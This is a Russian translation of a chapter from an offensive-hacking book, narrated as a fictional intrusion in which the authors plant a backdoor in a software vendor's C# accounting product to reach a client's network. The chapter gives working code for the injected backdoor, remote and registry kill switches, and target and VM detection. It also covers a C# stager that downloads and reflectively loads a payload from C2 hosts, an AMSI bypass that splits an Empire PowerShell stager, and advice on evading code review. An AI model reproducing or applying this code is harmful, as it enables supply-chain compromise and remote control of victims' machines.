Глава 12. Совершенствуем лазейку

Теперь, когда у нас, наконец- то, и в самом деле имеются учётные данные для разработчиков из всех отдельных групп, мы ищем любые сведения, которые способны оказать нам содействие в понимании структуры управления проектами Strat Jumbo. Это приведёт нас к обнаружению исходного кода Strat Accounting и внедрению потайного хода, который, как мы надеемся, приведёт нас непосредственно в сетевую среду G&S Trust.

Мы переключаемся между учётными записями программистов в сеансах Citrix, пока не отыщем учётную запись с заполненным профилем, к примеру, наполненную личными документами домашнюю папку, закладками Firefox, историей Firefox и тому подобным. Сейчас мы ищем вики файлы или документы, поясняющие как организованы разработчики и какие инструменты они применяют для управления версиями, ветвлениями, тестированием и многим чем ещё.

У пользователя jack.bosa из группы SNOW, похоже, имеется учётная запись, заполненная надлежащим образом. Мы запускаем Firefox при помощи учётной записи Джека и просматриваем его закладки, но ничего особенного не выделяется. Однако его история Firefox содержит значительный список интересных ссылок, как это видно из Рисунка 12.1.

 

Рисунок 12.1


История Firefox Джека

Мы можем вручную пройтись по этим ссылкам и попытаться разобраться в сведениях, которые они могут использовать, однако для большей эффективности мы вместо этого выполним выборку всей той базы данных, которая хранит эти URL, которая располагается в C:\Users\Jack\AppData\Roaming\Mozilla\Firefox\Profiles\<Random_string>.default\places.sqlite. Поскольку она в формате .sqlite, мы будем просматривать её в своей лаборатории при помощи классического клмента, свободно доступного из https://sqlitebrowser.org/, что отражено на Рисунке 12.2.

 

Рисунок 12.2


Просмотр истории браузера Джека в DB Browser для SQLite

Упорядочение всех страниц по количеству посещений снабжает нас хорошим представлением о наиболее посещаемых, а следовательно, наиболее ценных внутренних активах Strat Jumbo. То, что походит на вики сайт Strat Jumbo (howto.stratjumbo.lan), появляется среди 10 наиболее посещаемых ссылок. Это выглядит полезным!

Воспользовавшись учётными данными Джека для Windows мы прозрачно подключаемся к этой вики, а затем неспешно просматриваем этот вебсайт, впитывая как можно больше сведений о внутренних механизмах Strat Jumbo. Имеется раздел с названием "Для молодых оруженосцев" (For young squires), который особенно полезен, поскольку в нём подробно описываются внутренняя организация, кодовые названия проектов, методы программирования и рабочий процесс проверки, через который проходят новые реализации функциональных возможностей, прежде чем они будут переданы клиентам.

Структура разработки

Грубо говоря, Strat Jumbo работает примерно так: каждым клиентом управляет менеджер по работе с клиентами (CRM, customer relationship manager). Этот CRM работает с клиентом над описывающем его потребности с точки зрения бизнес- функций рабочим заданием: конкретные функциональные возможности бухгалтерского учёта, налоговые формы и тому подобное. Некоторые из этих свойств доступны в имеющемся продукте поставляемыми клиенту по умолчанию. Однако чаще всего пользовательские функциональные возможности необходимо разрабатывать специально для уникальных потребностей данного клиента. Таким образом, один единственный основной продукт разветвляется столько раз, сколько требуется, реализуя различные надстройки.

Каждая команда разработчиков специализируется примерно на одном продукте, включая все его пользовательские надстройки. Между участниками команды могут иметься пересечения, зависящие от рабочей нагрузки и нехватки навыков. На Рисунке 12.3 показано сопоставление проектов с их кодовыми названиями. Похоже, что Strat Accounting, наш Святой грааль, можно отыскать под кодовым названием проекта Baelish! Конечно, задним числом, это имеет смысл.

 

Рисунок 12.3


Кодовым именем Strat Accounting выступает Baelish

После каждого цикла разработки новой функциональной возможности или её улучшения, отдельная группа обеспечения качества импортирует новый код в предварительные серверы и запускает согласованную с клиентом книгу тестирования. Если всё работает как ожидалось, они отправят этот новый модуль при следующем обновлении.

Регулярные обновления основных функций производятся для всех проектов примерно каждые 12 месяцев. Однако пользовательские надстройки обновляются по запросу соответствующего клиента. В зависимости от клиента, такой график может изменяться от одного до шести месяцев. Чтобы отслеживать все эти многочисленные развилки и ветви программного обеспечения, Strat Jumbo поддерживает локальный репозиторий GitLab, URL адрес которого мы также обнаруживаем в просматриваемой вики: stratlab.stratjumbo.lan, что отражено на Рисунке 12.4.

 

Рисунок 12.4


GitLab репозиторий Strat Jumbo

В зависимости от того как мы глядим на него, это либо благословение, либо проклятие. С одной стороны, мы запросто можем отыскать ту ветвь, которая предназначена для G&D Trust, как это показано на Рисунке 12.5 и, таким образом, ограничиваем свой потайной ход, нацеливаясь лишь на эту конкретную компанию.

 

Рисунок 12.5


Выделенная для G&D Trust ветвь

С другой стороны, поскольку мы имеем дело с Git, всякое предпринимаемое нами изменение в рассматриваемом коде будет регистрироваться в соответствующей базе данных, как это видно из Рисунка 12.6.

 

Рисунок 12.6


Все изменения регистрируются в этой базе данных

Конечно, мы бы могли потратить ещё пару часов, копаясь в этом сервере GitLab в поисках уязвимостей, паролей root, доступа к базе данных и прочих причудливых вещей для сокрытия своей деятельности, но это вряд ли окупит наши вложения, если вы задумаетесь над этим с более широкой точки зрения.

Как бы мы не манипулировали журналами активностей, когда некто просматривает временную шкалу, он обнаружит, что всякий заложенный нами потайной ход зажат между двумя версиями: чистой и испорченной. Это выдаст справедливую оценку первого появления такого потайного хода.

Гораздо выгоднее сосредоточиться на качестве кода самого потайного хода, нежели тратить время на поиски способа проникновения в базу данных GitLab для изменения следов активности, в особенности с учётом того, что наш потайной ход проходит не регрессивное тестирование, выдерживает лёгкие проверки вручную и не замедляет работу всего продукта.

Растим лазейку

Теперь, когда мы знаем, что Baelish это кодовое имя искомого проекта Strat Accounting, мы повторно подключаемся к Citrix при помощи некой относящейся к доменной группе BAELISH и обладающей правом обновления кода Strat Accounting учётной записи. Элиза отвечает всем этим требованиям, так что мы входим под её именем.

Как нам известно, Strat Jumbo обладает отдельными ветвями для каждого важного клиента, которому требуются пользовательские модули (и которые платят за них). Это помогает нам ограничить область нашего потайного хода до G&D Trust и избежать заражения половины всей планеты. Код Strat Accounting, в целом, написан на C#, что соответствует нашей области знаний. Мы можем применять все те приёмы, которые мы исследовали ранее, от отражения до выполнения команд PowerShell.

Устанавливаем капкан

Наша первая задача состоит в том, чтобы убедиться что наш потайной ход может быть запросто включён пользователем. Его сокрытие в малоизвестном меню увеличивает его незаметность, но когда такое меню посещается лишь раз в шесть месяцев стажёром- бухгалтером, который пропустил кнопку, от него будет мало толку.

Просматривая код ветви G&S_TRUST, мы замечаем в истории фиксаций Git, что к классу SharedWindowInitializer не прикасались в течение достаточно продолжительного промежутка времени. Это из- за недостаточной пропускной способности сопровождения? Боязни сломать прикладное приложение? Или же код просто эффективен и работает как ожидалось, а потому его не трогают? Как бы то ни было, забытый код это идеальное прикрытие для наших шалостей.

Воспользовавшись обычным текстовым поиском и небольшим содействием в навигации по методам VSCode, мы перечисляем все вхождения класса SharedWindowInitializer. Его порядок исполнения достаточно сложен для того чтобы мы бы были полностью уверенными во всём, но кажется, что наш класс вызывается из класса ControlDetailsViewModel, который, согласно файлов проверки модулей, используется всеми ниспадающими меню в рассматриваемом нами прикладном приложении Strat Accounting.

Ни ControlDetailsViewModel, ни SharedWindowInitializer не обновлялись несколько лет, а оба содержат плотный код, который будет отвлекать потенциальные сторонние глаза, а потому любой из них будет хорошим местом для вставки нашего кода. Мы добавляем его в ControlDetailsViewModel, как это отражено в Листинге 12.1.

 

Листинг 12.1. Многообещающее место для вставки нашего кода


public ControlDetailsViewMode(IVisual control)
{
   // НАШ КОД ВСТАВЛЯЕТСЯ ЗДЕСЬ
   // Подготовка объектов для инициализации в меню экспорта
   if (control is StrataccountingObject stractaccountingObject)
   {
      Properties = StrataccountingPropertyRegistry.Instance.GetRegistered
      (strataccountingObject).Select(x => new PropertyDetails(stractaccountingObject, x)
 	   

При написании кода потайного хода существует один святой принцип, который вам всегда надлежит соблюдать: этот код должен оставаться незаметным. Он обязан сливаться с остальным кодом, но при этом во время своего исполнения быть молчаливым как могила. Отключите внутренние инстинкты разработчика. Сейчас не время регистрировать ошибки или создавать исключительные ситуации. Мы будем исполнять свой код в выделенном фоновом во избежание сбоя основного процесса рассматриваемого прикладного приложения. Таким образом, даже если нашему серверу C2 потребуется время на ответ или же по какой бы то ни было причине произойдёт сбой, само прикладное приложение продолжит свою работу как ни в чём не бывало. Дабы оставаться незамеченными, мы будем применять те же самые соглашения об именах и тот же стиль кодирования, что и в коде Strat Accounting.

Поскольку мы будем составлять свой собственный поток, мы ищем уже имеющийся код в проекте Strat Accounting, который осуществляет работу с потоками, копируем его и вставляем тот же самый фрагмент кода в ControlDetailsViewModel, а он осуществляет наш метод потайного хода Prepare_shape_ui, который мы и напишем в данный момент:


// Показанный ранее допустимый код
--snip--
public ControlDetailsViewModel(IVisual control){
--snip--

new Thread(() => {
   Thread.CurrentThread.IsBackground = true;

   // Это запускает наш потайной ход
   Prepare_shape_ui();
}).Start();

--snip--
 	   

Ладно. Наш код будет выполняться в отдельном потоке при запуске данного приложения. Это, естественно, означает, что всякий раз, когда некий бухгалтер запускает программное обеспечение Strat Accounting, мы получаем новую оболочку, которая звонит домой. Однако, несмотря на то, что я люблю оболочки не меньше чем любой иной хакер, запуск их большого числа и их звонки домой запросто могут вывести ситуацию из- под контроля. Что произойдёт когда мы закончим своё задание? Что если мы обнаружим внутри сетевых сред G&S Trust более скрытые способы обеспечения надёжности? Что если мы просто передумаем и отменим всю свою операцию целиком?

Нам необходим некий способ удалённого контроля поведением этих сигналов маяков и отключать их в случае необходимости. Для выхода из этой затруднительной ситуации мы будем полагаться на два механизма аварийного отключения: один для предотвращения запуска потайного хода во всех заражённых компьютерах, а второй для предотвращения повторного заражения одного и того же компьютера. Если что- то пойдёт не так в этих конкретных хостах, мы бы хотели обладать возможностью отключать свой потайной ход в некоторых компьютерах.

Такой глобальный переключатель уничтожения может быть либо неким запросом DNS к какому- то контролируемому нами домену, либо HTTP вызовом к принадлежащему нам серверу. Нам просто требуется обладать возможностью удалённо диктовать должен ли наш потайной ход оставаться спящим, или же его можно активировать. Второй аварийный выключатель, предотвращающий повторное заражение машины должен быть более локальным и более специфичным для каждого компьютера. Для указания на успешность компрометации мы могли бы, например, удалять такой артефакт как раздел реестра или некий файл и применять это в качестве индикатора для отключения последующих исполнений своих потайных ходов в этой же машине.

Эти две проверки будут выполняться как только мы вызовем свой метод Prepare_shape_ui(), как это показано ниже:


private void Prepare_shape_ui(){
   if (Valid_launch())
      Custom_shape_ui();
}
 	   

Когда наш метод Valid_launch возвращает false, поток нашего потайного хода втихую прекратится. Этот метод вызывает два разных метода включения уничтожения, чтобы избежать подозрений, невинно именуемые как Need_upgrade и Is_compatible:


private bool Valid_launch(){
    return Need_upgrade() && Is_compatible();
}
 	   

Метод Need_upgrade действует как наш переключатель глобального уничтожения через выборку некого файла с нашего сервера, stratjumbotech.com. Когда он пустой или в случае отказа в достижении нашего сервера, этот метод возвращает false и останавливает исполнение нашего потайного хода:


private bool Need_upgrade(){
   string s = "";
   try{
      WebClient client = new WebClient();
      s = client.DownloadString("https://stratjumbotech.com/version");
   }
   catch {}
   return s.Length > 0;
}
 	   

Метод Is_compatible, наш второй переключатель уничтожения, проверяет существует ли в нашей целевой машине ключ реестра с названием Software\Microsoft\UEV\Agent\Version. Это ключ не должен присутствовать ни в какой машине пока мы не создадим его вручную вслед за успешной компрометацией. Когда это ключ реестра присутствует, мы намеренно решаем уберечь этого пользователя от повторного заражения, а потому соответствующий потайной ход будет прекращён.


private bool Is_compatible()
{
   // Выполняем выборку ключа реестра, который не существует в обычной машине
   var name = "Software\\Microsoft\\UEV\\Agent"
   RegistryKey key = Registry.CurrentUser.OpenSubKey(name);
   // Когда ключ "Version" не обнаружен, возвращаем true и продолжаем со своим потайным ходом
   if (key != null && key.GetValue("Version") == null){
      return true;
   }
   return false;
 	   

Вас может удивить почему мы не шифруем и не запутываем свой код. Действительно ли безопасно оставлять его открытым для всеобщего обозрения? Хорошая мысль, но проблема запутывания и шифрования состоит в том, что они привлекают внимание человека. В данном случае мы не боремся с автоматизированным SIEM, мы имеем дело с людьми. При обороне безопасность запутыванием может оказаться дерьмовой концепцией, но это истинное золото в деле атакующего. Представьте себе, что это случается в единственной строке кода из 5000 символов, заполняемой шестнадцатеричными и недопустимыми символами. Естественно, ваш мозг автоматически уловит такую внезапную ересь и потребует расследования. Однако обычный код, скорее всего, останется незамеченным. В проекте Strat Accounting десятки тысяч строк кода и ни один программист не знает наизусть все его внутренние механизмы.

До тех пор, пока наш код выгляди обычным и работает, мощная мантра программирования "раз он не сломан, не чините его" должна защищать нас от опасных изменений, вносимых капризным программистом в конце рабочего дня пятницы. Когда мы добавим какой- нибудь скучный и безобидный комментарий, например "важное исправление для заказа #9812301" или "запрос клиента No. 19823124", этого будет более чем достаточно.

Проверяем свои окрестности

В идеале наш потайной ход должен оставаться бездействующим во время обычных тестов и проверок, выполняемых командой разработчиков Strat Accounting. Внезапный всплеск пропускной способности сетевой среды или вычислительных ресурсов — или, не дай бог, сбой — наверняка выдадут нас, поэтому нам необходимо быть очень скрытными и уделять пристальное внимание качеству своего кода.

Мы размещаем пару сторожевых таймеров, которые отслеживают сведения о среде, в которой исполняется наше программное обеспечение. Это позволяет нам гарантировать запуск нашего потайного хода только тогда, когда он работает на старом добром физическом ноутбуке, принадлежащем G&S Trust. Эти проверки будут выполняться методом Valid_environment, который мы поместим рядом с методом аварийного отключения Valid_launch в самом начале точки входа в наш потайной ход, Prepare_shape_ui. Здесь я выделил добавленный код жирным шрифтом:


--snip--
// If valid conditions, start the backdoor
static private void Prepare_shape_ui(){
   if (Valid_environment() && Valid_launch())
      Custom_shape_ui();
}
		

Наша первая проверка будет применять общее наблюдение для компаний: большинство маркирует свои рабочие станции, устанавливая уникальные имена хостов более конкретно, включая название компании в свойстве Organization общих сведений о системе. Мы можем получить это значение, воспользовавшись реестром или считав значение класса Win32_OperatingSystem WMI. В обычной командной строке нам следует ввести такую строку:


C:\> wmic os get Organization

Organization
LABTEST
		

Однако для достижения того же самого результата при помощи C# нам потребуется больше строк в методе, скучно именуемом Is_gpo_applied (Листинг 12.2).

 

Листинг 12.2. Проверка того что мы в надлежащей среде


// Импорт в самом начале нашего кода
using System.Management;

private bool Is_gpo_applied()
{

   string query = "SELECT * FROM Win32_OperatingSystem";
   var search = new ManagementObjectSearcher(query);
   foreach (ManagementObject obj in search.Get()){
      var objectName = obj["Organization"];
      if (objectName == null) { continue; }

      string name = objectName.ToString().Trim().ToLower();
      if (name.StartsWith("gs") || name.StartsWith("g&s"))
         return true;
   }

   return false;
}
 	   

Мы выполняем выборку объектов из класса Win32_OperatingSystem, затем в итерационном цикле опрашиваем поле Organization. Тогда остаётся просто воспользоваться сравнением строк для поиска явных признаков, указывающих на то, что мы пребываем в компьютере G&S Trust. Если это не так, наш метод Is_gpo_applied возвращает значение false в Valid_environment, которое каскадирует его обратно в Prepare_shape_ui для прекращения исполнения нашего потайного хода:


private bool Valid_environment(){
   return Is_gpo_applied();
}
 	   

Хотя этой проверки может быть достаточно чтобы убедиться в исполнении исключительно на машине G&S Trust, она не перечисляет все возможные ситуации. Что если Strat Jumbo обладает доступом к машинам G&S Trust для проверки своего кода перед его отправкой? Как быть когда разработчики G&S Trust тестируют свой код в некой имитации, заключённой в среду перед разработкой? Такие вариации бесконечны.

Нашим способом разрешить эту проблему является добавление пары проверок чтобы убедиться что наш код исполняется исключительно в физических ноутбуках Windows. Очевидно, это усиливает наш потайной ход для того чтобы он был способен выявлять классические виртуальные среды: VirtualBox, VMware, KVM и тому подобные.

Для сообщества вредоносных программ, как и для сообщества песочниц, это горячая тема. Одна сторона старается снарядить виртуальную машину так, чтобы она вела себя и выглядела в точности как физическая машина. Тем временем противоположная сторона пытается разрушить такую фальшивую бумажную перегородку, просматривая определённые строки в службах, процессах или ключах реестра, либо сопоставляя циклы исполнения ЦПУ на предмет явных признаков виртуализации. Основная логика таких проверок почти всегда одна и та же: поиск несоответствий в ключевом физическом компоненте, который не распознаётся программным обеспечением виртуализации.

Одним из таких компонентов выступает видеокарта. В обычной системе мы ожидаем, что её названием будет нечто вроде Intel(R) UHD Graphics, AMD RADEON HD, NVIDIA GeForce и тому подобного. В виртуальном сервере мы обнаруживаем специфичные для гипервизора адаптеры, такие как "VirtualBox Graphics Adapter for Windows 8+" или "Microsoft Basic Display Adapter". Это наводит нас на вторую проверку правильности, причём снова с применением WMI, отображаемого в Листинге 12.3.

 

Листинг 12.3. Проверка на виртуальность среды


private bool Valid_driver(){

   var query = "SELECT * FROM Win32_VideoController";
   var search = new ManagementObjectSearcher(query);

   foreach (ManagementObject obj in search.Get()){
      var objectName = obj["Name"];
      if (objectName == null) { continue; }
      string name = objectName.ToString().Trim().ToLower();

      // "mwa" это сокращение для vmware, а "ualb" для virtualbox
      if (name.Contains("mwa") || name.Contains("ualb") ||
         name.Contains("basic") || name.Contains("adapter")
         )
         return false;150 Chapter 12
   }

   // Когда не сработала ни одна из проверок, возвращаем true
   return true;
}
 	   

И снова, это всего лишь вопрос сравнения строк. Наш полный метод Valid_environment теперь составлен из двух проверок:


private bool Valid_environment(){
   return Is_gpo_applied() && Valid_driver();
}
		

Естественно, эти проверки не являются пуленепробиваемыми - настоящие защищённые песочницы криминалистики запросто способны обойти их, скрывая атрибуты реестра и прочие сведения ЦПУ - но мы не стараемся обманывать обратную инженерию вредоносного ПО. Наш действующий приоритет состоит просто в том, чтобы оставаться незаметными во время классических тестов без обратного программирования и проверок качества.

Вызов полезной нагрузки

На данный момент наш полный код потайного хода обладает следующей структурой:


// Допустимый класс, в котором мы скрываем свой код
public ControlDetailsViewModel(IVisual control){
--snip--

new Thread(() => {
   Thread.CurrentThread.IsBackground = true;

   // Здесь будет начинаться наш потайной ход
   Prepare_shape_ui();
}).Start();

--snip--

static private void Prepare_shape_ui(){
   if (Valid_environment() && Valid_launch())
      Custom_shape_ui();
}

// Определение включателя уничтожения Valid_environment()
private bool Valid_environment(){
   return Is_gpo_applied() && Valid_driver();
}

// Определение выявления виртуализации Valid_launch()
private bool Valid_launch(){
   return Need_upgrade() && Is_compatible();
}

--snip--
 	   

Мы потратили какое- то время на настройку своих охранников вокруг исполнения нашего потайного хода: два уничтожающих выключателя во избежание эффектов выхода из под контроля и выявление базовой виртуализации чтобы не допускать любопытные глаза. Далее идёт сам потайной ход, определяемый в нашем методе Custom_shape_ui. Данная функция будет просто выполнять обратный вызов сервера C2 и загружать DLL (исполняемые файлы, которые обеспечат нас удалённой оболочкой в этой машине). Давайте рассмотрим некоторые возможности.

Допустим, мы остановились на ожидающей процедуре Empire, которую мы настраивали в Главе 1. Давайте направимся в свою основную консоль и изучим возможные варианты для построения тёртых калачей (stager):


(Empire) > usestager windows/
backdoorLnkMacro  csharp_exe       launcher_bat
bunny             dll              hta
launcher_sct      launcher_xml     macroless_msword
launcher_lnk      launcher_vbs     macro
teensy            shellcode        wmic
		

Как много возможностей. Учитывая, что на данный момент мы строим тайный ход приложения C#, имеет смысл воспользоваться практикой csharp_exe. Она должна выдать сборку .NET, которую мы способны загрузить при помощи отражения. Однако, если вы внимательно изучите код скелета C#, применяемый для создания этой практики в CSharpPS.yaml (доступного через https://bit.ly/3qAs4Oc), вы заметите, что это не более чем просто оболочка, которая вызывает эквивалент PowerShell -Command <stager_code>, где <stager_code> содержит реальную логику взаимодействия C2, написанную на PowerShell - в точности ту, которая применялась для обхода Citrix несколько глав тому назад. Листинг 12.4 показывает значимую часть этого кода.

 

Листинг 12.4. Реальный код для практики csharp.exe


--snip--
PowerShell ps = PowerShell.Create();
String script = "{{ REPLACE_LAUNCHER }}";

var unicodABytAs = System.ConvArt.FromBasA64String(script)
String decodAd = System.TAxt.Encoding.UnicodA.GetString(unicodABytes)
ps.AddScript(decodAd);
   try
   {
      ps.InvokA();
   }
--snip--
 	   

Это допустимая методика, однако, к сожалению, отличительные признаки этого шаблона C# и сопутствующего ему запутывающего PowerShell запросто подхватываются AMSI прежде чем мы даже получим некий шанс отключить его. Чтобы оставаться в безопасности, нам бы потребовалось потрепать его или вовсе воспользоваться иным. Давайте повторно посетим тот код, который мы применяли при обходе Citrix (Листинг 12.5).

 

Листинг 12.5. Сценарий, очень похожий на тот, который мы применяли для обхода Citrix


namespace fud_stager {
class Program {
   static void Main(string[] args){
   PowerShell Ps_instance = PowerShell.Create();
   WebClient myWebClient = new WebClient();

   try {
      var url = "https://stratjumbo.co.au/readme.txt"
      var script = myWebClient.DownloadString(url);

   } catch {}

   Ps_instance.AddScript(script);
   Ps_instance.AddCommand("out-string");
   Ps_instance.Invoke();
   } // Конец Main
} // Конец класса Program
} // Конец пространства имён fud_stager
 	   

Функционально он похож, но достаточно отличается чтобы оставаться незамеченным AMSI. Как видите, вместо того чтобы хранить сценарий PowerShell в исполняемом файле, данный код извлекает его из удалённого места чтобы ещё больше скрыть при загрузке его исполняемого файла в память. Но этого недостаточно: AMSI по- прежнему будет вопить, когда мы вызовем этот метод Invoke для загрузки известного унифицированного практика PowerShell Empire. Если мы желаем пойти по этому пути, нам необходимо либо изменить самого практика PowerShell, либо изменить способ его исполнения. Если вы готовы, вы даже можете перекодировать логику этого практика (stager) на чистом C#, это должно сотворить чудо.

[Замечание]Замечание

Empire теперь интегрирован с Covenant, другой инфраструктурой C2 и поглощает свои модули C#. Вы можете наблюдать это в коде Empire.Agent.cs, который в настоящее время поддерживает полного практика C#, если вы пожелаете поиграться с ним вместо этого.

Тем не менее, мы воспользуемся менее затратным подходом и просто изменим способ исполнения этого сценария, дабы он не казался столь подозрительным. Видите ли, дело в том, что AMSI скулит лишь потому, что мы загружаем известный ему сценарий PowerShell одним махом. Найденный мной простой путь обхода состоит в том, чтобы порезать этот сценарий на множество строк, а затем загружать каждую из них по- отдельности. Мы вносим правки в свой предыдущий файл loader_stager.cs из папки cs_scripts в https://github.com/sparcflow/HackLikeALegend/, как это отражено в Листинге 12.6.

 

Листинг 12.6. Наш обновлённый код во избежание исполнения полного сценария PowerShell за раз


string[] array = script.Split('\n');
foreach (string value in array){
   Ps_instance.AddScript(value);
}
Ps_instance.AddCommand("out-string");
Ps_instance.Invoke();
 	   

Этот очень простой трюк позволяет нам обойти AMSI при помощи унифицированного сценария Empire. Безумно, не так ли? Единственным препятствием является то, что унифицированный сценарий Empire представляет собой одну длинную строку, которую нельзя запросто разбить на осмысленные команды PowerShell, разделённые разрывами строк. Нам необходимо преобразовать его из однострочного сценария в многострочный, который затем можно загрузить при помощи кода из Листинга 12.5.

Дорабатываем своего Агента Империи

У нас имеется свой план. Теперь перейдём к Empire для выработки агента сценария, который будет загружен нашим практиком (stager) C#. Мы воспользуемся базовым модулем launcher_bat, который должен содержать тот сценарий PowerShell, который мы хотим попилить:


(Empire: listeners) > Usestager windows/launcher_bat
(Empire: windows/launcher_bat) > set Listener https_1
(Empire: windows/launcher_bat) > generate
[*] Stager output written out to: /tmp/launcher.bat
		

Мы желаем чтобы наш файл /tmp/launcher.bat содержал только необходимые команды PowerShell, поэтому мы отсекаем его заголовок при помощи команды tail -1 , а затем изолируем закодированную полезную нагрузку при помощи cut, запитывая ею кодировщик base64 и преобразовывая её в UTF-8 через iconv:


root@FrontLine:~/hll# tail -1 launcher.bat \
| cut -d " " -f 8 \
base64 -d \
iconv -f UTF-16 -t UTF-8> decoded.txt

If($PSVErSiOnTABlE.PSVERSIoN.MajOR -Ge 3){$c322=[REf].ASseMblY.GEtType('System.Management.Automation.Utils')."GETFIe`ld"('cachedGroupPolicySettings','N'+'onPublic,Static');IF($c322)
--snip--
		

Этот вывод заставляет ваши глаза кровоточить, но е не смог найти приличную программу изящного форматирования PowerShell, поэтому нам придётся разделить этот сценарий по старинке, воспользовавшись магией sed. Мы из стратегических соображений разместим разрывы строк после нескольких точек с запятой, а затем вручную исправим некоторые циклы и условия, которые не работают. В Листинге 12.7 показана сама команда и несколько первых строк (усечённых) вывода.

 

Листинг 12.7. Первые несколько строк нашего агента PowerShell


root@FrontLine:~/hll# sed -i decoded.txt 's/;\([$-]\)/;\n\1/g'
| sed -e '1,8d'

IF($PSVerSiONTaBle.PSVErSIon.MajoR -gE...
$C742['ScriptB'+'lockLogging']){$c742[...
$c742['ScriptB'+'lockLogging']['EnableS...
--snip--
 	   

По общему признанию, особых улучшений здесь не наблюдается, но для этого существует причина: первые восемь строк вывода выступают частью большого оператора if, который проверяет версию PowerShell чтобы решить следует ли отключать AMSI и ведение журнала блоков сценариев. Этот код никогда не должен был быть разбитым sed, поэтому мы воссоздаём эти восемь строк в одну для получения корректного синтаксиса.

Следующие строки, показанные в Листинге 12.8, намного дружелюбнее чем они казались раньше и, я надеюсь, теперь вы с ними разберётесь.

 

Листинг 12.8. Следим за строками, которые готовят WebClient


$5793=New-OBjeCt SystEM.NeT.WeBCLIEnT;
$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0)';
$ser=$([TEXT.Encoding]::UNicodE.GEtSTRiNg([COnvErT]::FROmBAse64StRiNG('aAB0AHQAcABzADoALwAvAHMAdAByAGEAdABqAHUAbQBiAG8ALgBjAG8ALgBhAHUA')));
$t='/complete/search?q=wolf ';
$5793.HEaDerS.ADd('User-Agent',$u);
 	   

Как мы это выполняли много раз ранее, для доставки своей полезной нагрузки мы пользуемся System.Net.WebClient. Вы узнаете наш поддельный URL поиска Google и заголовок User-Agent, который мы тоже настраивали в Главе 1 эти строки отлично разбиты sed, поэтому мы двинемся вперёд.

Далее у нас имеется странная часть в Листинге 12.9, которая выглядит как некая форма низкоуровневой манипуляции с байтами.

 

Листинг 12.9. RC4 шифрование сведений обмена с сервером C2


K=[SysTem.TExT.EnCOdINg]::ASCII.GeTBYTeS(‘0[l=.1p*-ov>7BceYk:{(LJtbWwq5A&a’);
$R={$D,$K=$ARGs; $S=0..255; 0..255|%{$J=($J+$S[$_]+$K[$_%$K.CoUnt])%256;
$S[$_],$S[$J]=$S[$J],$S[$_]};
$D|%{$I=($I+1)%256; $H=($H+$S[$I])%256; $S[$I],$S[$H]=$S[$H],$S[$I]; $_-Bxor$S[($S[$I]+$S[$H])%256]}};
 	   

Это и вправду алгоритм шифрования RC4. Переменная $K содержит значение ключа, а значение переменной $R это большой цикл, который выполняет смешивание XOR и перестановку получаемого входа. Мы сливаем две последние строки воедино для допустимого синтаксиса.

Затем наступает окончательный фрагмент, в котором мы добавляем заголовок Cookie, выгружаем данные, расшифровываем их и потом исполняем их (Листинг 12.10). Эта часть была отформатирована надлежащим образом нашим потоком sed, потому мы оставляем её как есть.

 

Листинг 12.10. Окончательный фрагмент кода, который выгружает данные, расшифровывает их и исполняет их


$5793.HEADeRS.AdD("Cookie","SILkUHjXHiJFQn=OdUxIJIMkKxTRVqoXutMnsDGaUc=");
$dATA=$5793.DoWNLoadDATA($SER+$T);
$iV=$daTa[0..3];
$dAtA=$Data[4..$daTA.LENGTh];
-JoIn[CHar[]](& $R $DaTA ($IV+$K))|IEX
 	   

Вот и всё: вся полезная нагрузка Empire переделана в виде последовательности инструкций, разделённых разрывами строк.

[Замечание]Замечание

Эта полезная нагрузка, несомненно, изменится к тому моменту, когда вы возьмётесь за эти строки, но общие положения должны остаться прежними и, надеюсь, вы сможете следовать той же методологии для рассечения полезной нагрузки вашего времени.

Мы сохраняем разбитый на строки код в файле с названием readme.txt и выгружаем его в свой сервер C2, stratjumbo.co.au. Теперь у нас имеется практика (stager) Empire, составленная из 25 различных строк, причём каждая из них может исполняться как отдельная команда PowerShell. Это именно то, чего ожидает наш загрузчик C#.

Теперь мы можем скомпилировать свой загрузчик C#, fud_stager в файл с названием health-check, воспользовавшись либо Visual Studio, либо компилятором C# csc.exe, как это показано здесь:


PS:C:\Lab> C:\Microsoft.Net.Compilers.3.8.0\tools\csc.exe /reference:C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll /unsafe /out:health-check Program.cs
		

Обратите внимание, что мы оставили расширение .exe в названии исполняемого файла health-check, чтобы позднее избежать подозрений при жёстком кодировании URL- адреса в своём коде. Также мы выгружаем этот файл в свой сервер C2.

Сердцевина нашей лазейки

Теперь мы можем вернуться к своему тайному ходу в коде Strat Accounting и, наконец, написать само тело метода Custom_shape_ui, которое просто инициализирует WebClient и выгружает наш исполняемый health-check (Листинг 12.11).

 

Листинг 12.11. Наш метод Custom_shape_ui


using System.Net;
using System.Reflection;

static private void Custom_shape_ui()
{

   // Массив, который содержит нашу сборку
   byte[] myDataBuffer = null;

   // Пользуемся своим прокси по умолчанию, зарегистрированном в нашей системе
   System.Net.WebRequest.DefaultWebProxy.Credentials =
      System.Net.CredentialCache.DefaultNetworkCredentials;

   // Классический объект WebClient для выгрузки данных
   WebClient myWebClient = new WebClient();
   try {
      var url = "https://stratjumbo.co.au/health-check";
      myDataBuffer = myWebClient.DownloadData(url);
   }
   catch { }

   // Если выгрузка отказывает, выполняем возврат
   if (myDataBuffer == null) {
      return;
   }

 	   

Раз у нас имеется исполняемый файл в массиве байт, мы передаём его в свой метод Load нашего класса Assembly и активируем сам метод Main своего исполняемого файла health-check:


   // Отражательно загружаем его в память
   Assembly a = Assembly.Load(myDataBuffer);
   Type t = a.GetType("fud_stager.Program");
   MethodInfo staticMethodInfo = t.GetMethod("Main");

   staticMethodInfo.Invoke(null, null);

} // End of the Custom_shape_ui method
 	   

fud_stager и Program , соответственно это пространство имён и тот класс, который содержит метод Main. В общей сложности мы вставили около 80 строк хорошо замаскированного кода в базу кода, состоящую примерно из 100 000 строк кода - достаточно скрытно! Более того, если вы быстро взглянете на полученный код, то обнаружите, что в его общем виде почти нет ничего подозрительного. Это именно то, чего мы и хотели. Вы можете изучить полный код assembly_backdoor.cs из папки cs_scripts в ресурсах книги.

Угоняем фиксации

